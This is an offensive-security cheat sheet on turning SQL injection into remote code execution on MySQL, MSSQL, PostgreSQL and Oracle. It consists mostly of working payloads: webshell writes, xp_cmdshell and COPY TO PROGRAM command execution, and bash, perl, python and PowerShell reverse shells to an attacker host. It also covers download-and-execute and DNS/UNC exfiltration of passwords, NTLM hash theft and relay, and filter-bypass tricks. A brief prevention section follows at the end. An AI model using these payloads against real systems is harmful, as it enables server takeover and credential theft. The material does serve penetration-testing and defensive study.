SQLi → RCE¶
From database injection to code execution on the server.
TL;DR¶
SQL Injection to RCE is the holy grail escalation. Database-specific features allow file writes (webshells), direct command execution, or credential theft leading to lateral movement.
| Database | Primary RCE Vector | Difficulty |
|---|---|---|
| MySQL | INTO OUTFILE (webshell) | Medium |
| MSSQL | xp_cmdshell | Easy |
| PostgreSQL | COPY TO PROGRAM | Easy |
| Oracle | Java/Scheduler/UTL_FILE | Hard |
Overview¶
SQLi → DB Identification → Privilege Check → RCE Vector
↓
MySQL: INTO OUTFILE → Webshell
MSSQL: xp_cmdshell → Direct exec
PostgreSQL: COPY PROGRAM → Direct exec
Oracle: Java/DBMS_SCHEDULER → Exec
Chain 1: MySQL → Webshell via INTO OUTFILE¶
Requirements:
- FILE privilege (check: SELECT file_priv FROM mysql.user WHERE user = current_user())
- secure_file_priv not set or writable path known
- Writable web directory path known
Step 1: Check FILE Privilege¶
-- Check current user's file privilege
SELECT user, file_priv FROM mysql.user WHERE user = SUBSTRING_INDEX(USER(), '@', 1);
-- Check secure_file_priv setting
SELECT @@secure_file_priv;
-- NULL = can write anywhere
-- Empty = can write anywhere
-- /path/ = restricted to that path
Step 2: Identify Web Root¶
-- Common paths to try
-- Linux: /var/www/html/, /var/www/, /usr/share/nginx/html/
-- Windows: C:/inetpub/wwwroot/, C:/xampp/htdocs/
-- Read existing files to confirm path
SELECT LOAD_FILE('/var/www/html/index.php');
SELECT LOAD_FILE('C:/inetpub/wwwroot/index.html');
Step 3: Write Webshell¶
-- Basic PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- Bypass quotes with hex encoding
SELECT 0x3c3f706870207379737374656d28245f4745545b27636d64275d293b203f3e INTO OUTFILE '/var/www/html/shell.php';
-- Windows path (double backslash)
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.php';
-- Using UNION injection
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
-- Alternative shells
SELECT '<?php echo shell_exec($_REQUEST["c"]); ?>' INTO OUTFILE '/var/www/html/s.php';
SELECT '<?php passthru($_GET["x"]); ?>' INTO OUTFILE '/var/www/html/x.php';
Step 4: Execute Commands¶
# Access the webshell
curl "http://target.com/shell.php?cmd=id"
curl "http://target.com/shell.php?cmd=whoami"
# Reverse shell
curl "http://target.com/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'"
MySQL INTO DUMPFILE (Binary Files)¶
-- DUMPFILE writes raw binary without formatting
SELECT unhex('4D5A...') INTO DUMPFILE '/var/www/html/shell.exe';
-- UDF DLL injection for direct command execution (advanced)
SELECT unhex('...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
SELECT sys_exec('id > /tmp/out');
MySQL DNS Exfil (Windows Only)¶
-- Windows: UNC path for OOB data exfil
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a'));
SELECT * INTO OUTFILE '\\\\attacker.com\\a';
Chain 2: MSSQL → RCE via xp_cmdshell¶
Requirements: - sysadmin privileges OR xp_cmdshell EXECUTE permission - xp_cmdshell enabled (can enable if sysadmin)
Step 1: Check Permissions¶
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- 1 = sysadmin, 0 = not
-- Check who can execute xp_cmdshell
USE master;
EXEC sp_helprotect 'xp_cmdshell';
-- Check xp_cmdshell status
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
Step 2: Enable xp_cmdshell (If Disabled)¶
-- Requires sysadmin
-- Enable advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- One-liner for SQLi
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
Step 3: Execute Commands¶
-- Basic command execution
EXEC xp_cmdshell 'whoami';
EXEC master..xp_cmdshell 'ipconfig';
-- In UNION injection context
' UNION SELECT 1,2,3,4; EXEC xp_cmdshell 'whoami'--
-- Using stacked queries
'; EXEC xp_cmdshell 'whoami';--
-- PowerShell reverse shell
EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQAzACIALAA0ADQANAA0ACkA...';
-- Download and execute
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/shell.ps1'')"';
Step 4: Bypass xp_cmdshell Keyword Filter¶
-- Using dynamic SQL
DECLARE @cmd VARCHAR(100) = 'xp_cmdshell';
EXEC @cmd 'whoami';
-- Hex encoded execution
DECLARE @x AS VARCHAR(100) = 'xp_cmdshell';
EXEC @x 'ping attacker.com';
MSSQL Alternative: sp_OACreate (File Write)¶
-- Enable Ole Automation
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
-- Write file (webshell)
DECLARE @OLE INT;
DECLARE @FileID INT;
EXEC sp_OACreate 'Scripting.FileSystemObject', @OLE OUT;
EXEC sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'C:\inetpub\wwwroot\shell.aspx', 8, 1;
EXEC sp_OAMethod @FileID, 'WriteLine', Null, '<%@ Page Language="C#" %><% System.Diagnostics.Process.Start(Request["c"]); %>';
EXEC sp_OADestroy @FileID;
EXEC sp_OADestroy @OLE;
MSSQL: NTLM Hash Theft → Relay → RCE¶
-- Force SMB connection to steal NetNTLM hash
EXEC xp_dirtree '\\attacker_ip\share';
EXEC master.dbo.xp_dirtree '\\attacker_ip\share';
EXEC master..xp_subdirs '\\attacker_ip\share';
EXEC master..xp_fileexist '\\attacker_ip\share\file';
-- Capture with Responder
sudo responder -I eth0
-- Crack or relay the hash
hashcat -m 5600 hash.txt wordlist.txt
ntlmrelayx.py -t smb://target -smb2support
MSSQL: SQL Agent Jobs¶
-- Create agent job (requires sysadmin)
USE msdb;
EXEC dbo.sp_add_job @job_name = N'pwned';
EXEC sp_add_jobstep @job_name = N'pwned', @step_name = N'exec',
@subsystem = N'CmdExec', @command = N'whoami > C:\out.txt';
EXEC dbo.sp_add_jobserver @job_name = N'pwned';
EXEC dbo.sp_start_job N'pwned';
Chain 3: PostgreSQL → RCE via COPY PROGRAM¶
Requirements: - superuser OR pg_execute_server_program role member - PostgreSQL 9.3+ (COPY ... TO PROGRAM introduced)
Step 1: Check Permissions¶
-- Check if superuser
SELECT current_setting('is_superuser');
-- "on" = superuser
-- Check role membership
SELECT r.rolname, r.rolsuper,
ARRAY(SELECT b.rolname FROM pg_auth_members m
JOIN pg_roles b ON m.roleid = b.oid
WHERE m.member = r.oid) as memberof
FROM pg_roles r WHERE r.rolname = current_user;
-- Look for pg_execute_server_program membership
Step 2: Direct Command Execution¶
-- Basic COPY TO PROGRAM RCE
COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned';
COPY (SELECT '') TO PROGRAM 'whoami';
-- Create table and exfiltrate output
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- In SQLi context (stacked queries required)
'; DROP TABLE IF EXISTS x; CREATE TABLE x(y text); COPY x FROM PROGRAM 'id';--
Step 3: Reverse Shell¶
-- Perl reverse shell
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
-- Bash reverse shell (URL encode for SQLi)
COPY x FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"';
-- Python reverse shell
COPY x FROM PROGRAM 'python3 -c ''import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])''';
-- Using curl for data exfil
COPY (SELECT '') TO PROGRAM 'curl http://ATTACKER/?d=$(whoami | base64)';
Step 4: Bypass WAF/Keyword Filters¶
-- Dynamic SQL execution in PL/pgSQL
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''whoami''';
EXECUTE cmd;
END $$;
-- The CHR(67) = 'C', avoiding literal 'COPY' keyword
PostgreSQL: File Write via COPY¶
-- Write webshell (requires pg_write_server_files or superuser)
COPY (SELECT '<?php system($_GET["c"]); ?>') TO '/var/www/html/shell.php';
-- Base64 for special chars
COPY (SELECT convert_from(decode('PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==','base64'),'utf-8')) TO '/var/www/html/shell.php';
PostgreSQL: Large Objects for Binary Upload¶
-- Import a file into large object
SELECT lo_import('/etc/passwd', 12345);
-- Export large object to file (write anywhere as postgres user)
SELECT lo_export(12345, '/tmp/passwd_copy');
-- Use for uploading binaries
SELECT lo_from_bytea(13337, decode('BASE64_PAYLOAD', 'base64'));
SELECT lo_export(13337, '/var/www/html/shell.php');
PostgreSQL: Extension Loading RCE¶
-- If you can write files, upload malicious .so
-- Compile: gcc -shared -fPIC -o payload.so payload.c
-- Set library path and load
ALTER SYSTEM SET session_preload_libraries = 'payload';
SELECT pg_reload_conf();
-- RCE on next connection
-- Or use CREATE FUNCTION with C language
CREATE OR REPLACE FUNCTION exec(cmd text)
RETURNS text AS '/tmp/payload.so', 'exec' LANGUAGE C;
SELECT exec('id');
Chain 4: Oracle → RCE (Multiple Vectors)¶
Requirements: DBA privileges or specific grants; Oracle is hardest to RCE
Oracle: Java Stored Procedures¶
-- Requires CREATE PROCEDURE and JAVASYSPRIV
-- Create Java class for command execution
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "OSCommand" AS
import java.io.*;
public class OSCommand {
public static String execCmd(String cmd) throws Exception {
String[] cmdarray = {"/bin/sh", "-c", cmd};
Process p = Runtime.getRuntime().exec(cmdarray);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
StringBuffer sb = new StringBuffer();
while ((line = br.readLine()) != null) { sb.append(line); }
return sb.toString();
}
};
/
-- Create PL/SQL wrapper
CREATE OR REPLACE FUNCTION os_command(cmd VARCHAR2) RETURN VARCHAR2
AS LANGUAGE JAVA NAME 'OSCommand.execCmd(java.lang.String) return java.lang.String';
/
-- Execute
SELECT os_command('id') FROM dual;
SELECT os_command('whoami') FROM dual;
Oracle: DBMS_SCHEDULER¶
-- Requires CREATE JOB privilege
BEGIN
DBMS_SCHEDULER.CREATE_JOB(
job_name => 'pwned',
job_type => 'EXECUTABLE',
job_action => '/bin/sh',
number_of_arguments => 2,
enabled => FALSE
);
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwned', 1, '-c');
DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('pwned', 2, 'id > /tmp/pwned');
DBMS_SCHEDULER.ENABLE('pwned');
END;
/
Oracle: UTL_FILE (File Write)¶
-- Requires UTL_FILE privileges and accessible directory
CREATE OR REPLACE DIRECTORY EXPLOIT_DIR AS '/var/www/html';
DECLARE
f UTL_FILE.FILE_TYPE;
BEGIN
f := UTL_FILE.FOPEN('EXPLOIT_DIR', 'shell.php', 'W');
UTL_FILE.PUT_LINE(f, '<?php system($_GET["c"]); ?>');
UTL_FILE.FCLOSE(f);
END;
/
Oracle: External Tables (File Read)¶
-- Read /etc/passwd via external table
CREATE TABLE ext_passwd (line VARCHAR2(4000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY DATA_DIR
ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE)
LOCATION ('/etc/passwd')
);
SELECT * FROM ext_passwd;
Oracle: DNS Exfiltration via UTL_HTTP/UTL_INADDR¶
-- Using XXE in EXTRACTVALUE (unpatched Oracle)
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT user FROM dual)||'.attacker.com/"> %remote;]>'),'/l') FROM dual;
-- Using UTL_INADDR
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual)||'.attacker.com') FROM dual;
Detection & Identification¶
Database Fingerprinting¶
-- MySQL
SELECT @@version;
SELECT version();
-- MSSQL
SELECT @@version;
-- PostgreSQL
SELECT version();
-- Oracle
SELECT * FROM v$version;
SELECT banner FROM v$version WHERE ROWNUM = 1;
Quick RCE Capability Check¶
| Database | Check Command |
|---|---|
| MySQL | SELECT file_priv FROM mysql.user WHERE user = current_user() |
| MSSQL | SELECT IS_SRVROLEMEMBER('sysadmin') |
| PostgreSQL | SELECT current_setting('is_superuser') |
| Oracle | SELECT * FROM user_role_privs WHERE granted_role = 'DBA' |
Real-World Examples¶
CVE-2019-9193: PostgreSQL "COPY FROM PROGRAM"¶
Not a CVE (PostgreSQL considers it a feature), but commonly exploited:
-- Authenticated users with sufficient privileges can execute OS commands
'; COPY cmd_output FROM PROGRAM 'id';--
ImpressCMS SQLi to RCE (MySQL)¶
-- Prepared statements WAF bypass
0); SET @q = 0x53454c4543542027...'; PREPARE stmt FROM @q; EXECUTE stmt; #
-- Hex decodes to: SELECT '<?php...' INTO OUTFILE '/var/www/shell.php'
MSSQL Linked Server Chain¶
-- Enumerate linked servers
EXEC sp_linkedservers;
-- Execute on linked server (double-hop for privilege escalation)
EXEC ('xp_cmdshell ''whoami''') AT LinkedServer;
-- If linked server has higher privileges, chain for RCE
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT SecondLinkedServer') AT FirstLinkedServer;
SQLMap Automation¶
# MySQL webshell via INTO OUTFILE
sqlmap -u "http://target/page?id=1" --dbms=mysql --os-shell
# MSSQL xp_cmdshell
sqlmap -u "http://target/page?id=1" --dbms=mssql --os-shell
# PostgreSQL COPY TO PROGRAM
sqlmap -u "http://target/page?id=1" --dbms=postgresql --os-shell
# File read
sqlmap -u "http://target/page?id=1" --file-read="/etc/passwd"
# File write
sqlmap -u "http://target/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
Prevention¶
Parameterized Queries (Primary Defense)¶
# Python - Correct
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# Python - VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
Principle of Least Privilege¶
-- MySQL: Revoke FILE privilege
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
-- MSSQL: Disable xp_cmdshell permanently
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- PostgreSQL: Don't grant superuser to app accounts
-- Use restricted role without pg_execute_server_program
-- Oracle: Revoke dangerous privileges
REVOKE EXECUTE ON UTL_FILE FROM webapp;
REVOKE EXECUTE ON DBMS_SCHEDULER FROM webapp;
Database Hardening¶
-- MySQL: Set secure_file_priv
[mysqld]
secure_file_priv = /var/lib/mysql-files/
-- MSSQL: Disable Ole Automation
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE;
-- PostgreSQL: Disable untrusted languages
DROP EXTENSION IF EXISTS plpythonu;
WAF Rules¶
# Block common SQLi to RCE patterns
SecRule ARGS "@rx (?i)(into\s+(out|dump)file|xp_cmdshell|copy\s+.*\s+from\s+program)" "id:1001,deny,msg:'SQLi to RCE attempt'"
Impact Table¶
| Vector | Database | Impact | CVSS |
|---|---|---|---|
| INTO OUTFILE | MySQL | Webshell → Full RCE | 9.8 |
| xp_cmdshell | MSSQL | Direct command exec | 9.8 |
| COPY PROGRAM | PostgreSQL | Direct command exec | 9.8 |
| Java/Scheduler | Oracle | Command execution | 9.8 |
| NTLM Relay | MSSQL | Lateral movement | 8.8 |
| File Read | All | Credential theft | 7.5 |
PoC Template¶
## Summary
SQL Injection in [endpoint] escalates to RCE via [technique].
## Chain
1. SQLi allows arbitrary query execution
2. Database identified as [MySQL/MSSQL/PostgreSQL/Oracle]
3. User has [FILE/sysadmin/superuser] privileges
4. Using [INTO OUTFILE/xp_cmdshell/COPY PROGRAM], achieved RCE
## Steps
1. Inject payload: `[PAYLOAD]`
2. Verify execution: `[VERIFICATION]`
3. Achieve shell: `[RCE_PAYLOAD]`
## Impact
Full server compromise via SQLi → RCE chain.
CVSS: 9.8 (Critical)
Quick Reference¶
| Database | File Write | Command Exec | Requirements |
|---|---|---|---|
| MySQL | INTO OUTFILE |
Via webshell/UDF | FILE priv, writable dir |
| MSSQL | sp_OACreate |
xp_cmdshell |
sysadmin |
| PostgreSQL | COPY TO |
COPY TO PROGRAM |
superuser/pg_* roles |
| Oracle | UTL_FILE |
Java/DBMS_SCHEDULER | DBA/specific grants |
Related: SSRF to RCE | XSS to ATO